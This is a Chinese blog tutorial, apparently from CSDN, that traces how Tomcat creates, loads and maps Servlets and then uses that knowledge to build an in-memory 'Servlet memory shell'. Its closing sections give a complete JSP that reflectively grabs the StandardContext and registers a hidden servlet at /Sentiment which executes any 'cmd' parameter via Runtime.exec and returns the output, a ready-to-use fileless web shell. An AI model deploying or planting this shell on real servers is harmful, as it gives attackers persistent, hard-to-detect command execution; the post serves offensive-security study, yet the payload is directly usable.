• Tomcat Servlet内存马


    Servlet

    Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,它早期的名称为catalina,后来由Apache、Sun 和其他一些公司及个人共同开发而成,并更名为Tomcat。Tomcat 是一个小型的轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选,因为Tomcat 技术先进、性能稳定,成为目前比较流行的Web 应用服务器。Tomcat是应用(java)服务器,它只是一个servlet容器,是Apache的扩展,但它是独立运行的。

    从宏观上来看,Tomcat其实是Web服务器和Servlet容器的结合体。

    1. <pre class="prettyprint hljs" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, "Courier New", monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">Web服务器:通俗来讲就是将某台主机的资源文件映射成URL供给外界访问。(比如访问某台电脑上的图片文件)
    2. Servlet容器:顾名思义就是存放Servlet对象的东西,Servlet主要作用是处理URL请求。(接受请求、处理请求、响应请求)
    3. pre>

    Servlet接口一共有五个类分别是init(Servlet对象初始化时调用)、getServletConfig(获取web.xml中Servlet对应的init-param属性)、service(每次处理新的请求时调用)、getServletInfo(返回Servlet的配置信息,可自定义实现)、destroy(结束时调用):

    1. class="prettyprint hljs java" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, "Courier New", monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">public interface  Servlet  { 
    2. void init(ServletConfig var1) throws ServletException;
    3. ServletConfig getServletConfig();
    4. void service(ServletRequest var1, ServletResponse var2) throws ServletException, IOException;
    5. String getServletInfo();
    6. void destroy();
    7. }
  • Servlet.java

    1. class="prettyprint hljs scala" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, "Courier New", monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">package memoryshell;
    2. import javax.servlet.ServletException;
    3. import javax.servlet.http.HttpServlet;
    4. import javax.servlet.http.HttpServletRequest;
    5. import javax.servlet.http.HttpServletResponse;
    6. import java.io.IOException;
    7. public class Servlet extends HttpServlet {
    8. @Override
    9. protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    10. resp.getWriter().write("Hello,Sentiment!");
    11. }
    12. @Override
    13. protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    14. doGet(req, resp);
    15. }
    16. }
  • web.xml

    1. <pre class="prettyprint hljs xml" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, "Courier New", monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><servlet>
    2. <servlet-name>helloservlet-name>
    3. <servlet-class>memoryshell.Servletservlet-class>
    4. servlet>
    5. <servlet-mapping>
    6. <servlet-name>helloservlet-name>
    7. <url-pattern>/hellourl-pattern>
    8. servlet-mapping>pre>

    访问/hello

    Servlet生成

    本地没有catalina,所以加了个依赖,可能是版本不对在调试时可能会有一丢丢代码不匹配的问题,但不影响正常流程

    依赖

    1. <pre class="prettyprint hljs xml" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, "Courier New", monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><dependency>
    2. <groupId>org.apache.tomcatgroupId>
    3. <artifactId>tomcat-catalinaartifactId>
    4. <version>9.0.19version>
    5. dependency>pre>

    整个栈在ContextConfig调用了 configureStart#webConfig() 读取 web.xml

    然后根据 web.xml 配置 context调用了 configureContext()

    1. <pre class="prettyprint hljs kotlin" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, "Courier New", monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">if (this.ok) {
    2. this.configureContext(webXml);
    3. }pre>

    跟进 configureContext() 前边依次读取了 Filter、Listenert的配置及其映射,我们直接看后边的 Servlet 部分:

    首先通过 StandardContextS#createWrapper() ,创建wrapper对象

    Wrapper(包装器):代表一个 Servlet,它负责管理一个 Servlet,包括的 Servlet 的装载、初始化、执行以及资源回收。Wrapper 是最底层的容器,它没有子容器了,所以调用它的 addChild 将会报错。

    1. class="prettyprint hljs java" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, "Courier New", monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">public  Wrapper  createWrapper()  { 
    2. Wrapper wrapper = null;
    3. if (wrapperClass != null) {
    4. try {
    5. wrapper = (Wrapper) wrapperClass.newInstance();
    6. } catch (Throwable t) {
    7. ExceptionUtils.handleThrowable(t);
    8. log.error("createWrapper", t);
    9. return (null);
    10. }
    11. } else {
    12. wrapper = new StandardWrapper();
  • 接着设置了启动优先级LoadOnStartUp,以及servlet的Name。

    设置好优先级后就调用下边的 setServletClass() ,配置了Servlet的Class。

    1. <pre class="prettyprint hljs css" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, "Courier New", monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">wrapper.setServletClass(servlet.getServletClass());pre>

    最后通过 addChild() 将创建并配置好的 Wrapper 添加到 Context 中。通过循环遍历所有 servlets 完成了 Servlet 从配置到添加的全过程,接下

    来就需要添加Servlet-Mapper了(对应web.xml中的  )

    取出web.xml中所有配置的Servlet-Mapping,通过context.addServletMappingDecoded()将url路径和servlet类做映射。(这里的/hello、hello就是我们在Mapper中设置的值)

    1. 通过 context.createWapper() 创建 Wapper 对象;
    2. 设置 Servlet 的 LoadOnStartUp 的值;
    3. 设置 Servlet 的 Name;
    4. 设置 Servlet 对应的 Class;
    5. 通过addChild()将创建并配置好的 Wrapper 添加到 Context 中
    6. 通过addServletMappingDecoded()将 url 路径和 servlet 类做映射。

    Servlet加载

    在 org.apache.catalina.core.StandardWapper#loadServlet() 下断点调试:

    回溯到 StandardContext#startInternal 同样也是在处理完listener和filter后,处理Servlet,这也就体现了分析Listener中提到的执行流程(Listener -> Filter -> Servlet)

    首先调用了 findChildren() ,将之前通过 addChild() 添加的所有Wapper传入 loadOnStartup() 中处理

    跟进 loadOnStartup() ,children的值就是通过 this.findChildren() 传入进来的

    通过循环将children中的值逐一赋给child,在赋值给wrapper中,之后有一段判断:

    1. <pre class="prettyprint hljs cpp" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, "Courier New", monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">if (loadOnStartup >= 0) {
    2. Integer key = loadOnStartup;
    3. ArrayList<Wrapper> list = (ArrayList)map.get(key);
    4. if (list == null) {
    5. list = new ArrayList();
    6. map.put(key, list);
    7. }
    8. list.add(wrapper);
    9. }pre>

    如果loadOnStartup >= 0,就会将wrapper追加到list中,但loadOnStartup 的默认值是-1,

    在servlet的配置当中即(web.xml), 1 的含义是:

    标记容器是否在启动的时候就加载这个servlet。

    当值为0或者大于0时,表示容器在应用启动时就加载这个servlet;

    当是一个负数时或者没有指定时,则指示容器在该servlet被选择时才加载。

    正数的值越小,启动该servlet的优先级越高。 

    由于我们要注入内存马,且没有配置xml不会在应用启动时就加载这个servlet,因此需要通过反射将值修改为1,将其追加到list中

    之后通过load()进行加载,根据具体请求进行初始化、调用、销毁一系列操作

    Servlet内存马

    首先通过doGet方法实现恶意类

    1. class="prettyprint hljs java" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, "Courier New", monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><%
    2. HttpServlet httpServlet = new HttpServlet() {
    3. @Override
    4. protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    5. InputStream is = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
    6. BufferedInputStream bis = new BufferedInputStream(is);
    7. int len;
    8. while ((len = bis.read())!=-1){
    9. resp.getWriter().write(len);
    10. }
    11. }
    12. @Override
    13. protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    14. super.doPost(req, resp);
    15. }
    16. };
    17. %>
  • 之后还是老办法获取StandardContext:

    1. <pre class="prettyprint hljs vbscript" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, "Courier New", monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><%
    2. Field reqF = request.getClass().getDeclaredField("request");
    3. reqF.setAccessible(true);
    4. Request req = (Request) reqF.get(request);
    5. StandardContext stdcontext = (StandardContext) req.getContext();
    6. %>pre>

    反射修改 loadOnStartup

    1. <pre class="prettyprint hljs delphi" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, "Courier New", monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><%
    2. Wrapper newWrapper = stdcontext.createWrapper();
    3. String name = servlet.getClass().getSimpleName();
    4. newWrapper.setName(name);
    5. newWrapper.setLoadOnStartup(1);
    6. newWrapper.setServlet(servlet);
    7. newWrapper.setServletClass(servlet.getClass().getName());
    8. %>pre>

    最后将 URL 路径与 Servlet 恶意类做映射:

    1. <pre class="prettyprint hljs erb" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, "Courier New", monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><% // url绑定
    2. stdcontext.addChild(newWrapper);
    3. stdcontext.addServletMappingDecoded("/Sentiment", name); %>pre>

    Servlet.jsp

    1. <pre class="prettyprint hljs erb" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, "Courier New", monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.catalina.Wrapper" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.BufferedInputStream" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>Sentimenttitle> head> <body> <% HttpServlet httpServlet = new HttpServlet() { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { InputStream is = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream(); BufferedInputStream bis = new BufferedInputStream(is); int len; while ((len = bis.read())!=-1){
    2. resp.getWriter().write(len); } } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { super.doPost(req, resp); } }; //获得StandardContext Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext stdcontext = (StandardContext) req.getContext(); //从StandardContext.createWapper()获得一个Wapper对象 Wrapper newWrapper = stdcontext.createWrapper(); String name = httpServlet.getClass().getSimpleName(); newWrapper.setName(name); newWrapper.setLoadOnStartup(1); newWrapper.setServlet(httpServlet); newWrapper.setServletClass(httpServlet.getClass().getName()); //将Wrapper添加到StandardContext stdcontext.addChild(newWrapper); stdcontext.addServletMappingDecoded("/Sentiment", name); %>pre>

    访问Servlet.jsp后注入成功

  • 相关阅读:
    Zabbix钉钉机器人告警
    OpenCV中的像素重映射原理及实战分析
    Redis数据类型-Set-基本使用
    VAD监测(一)
    程序员的数学课08 加乘法则:如何计算复杂事件发生的概率?
    Self-supervised Video Transformer 阅读
    【zmq】ZeroMQ安装与入门案例
    棱镜七彩作为首批成员单位入选工信部网络安全产业发展中心重点实验室!
    计算机网络第七章知识点回顾(自顶向下)
    MATLAB算法实战应用案例精讲-【决策树学习】随机森林(RF)(附MATLAB、Python和R语言代码)
  • 原文地址:https://blog.csdn.net/LBWNB_Java/article/details/126027367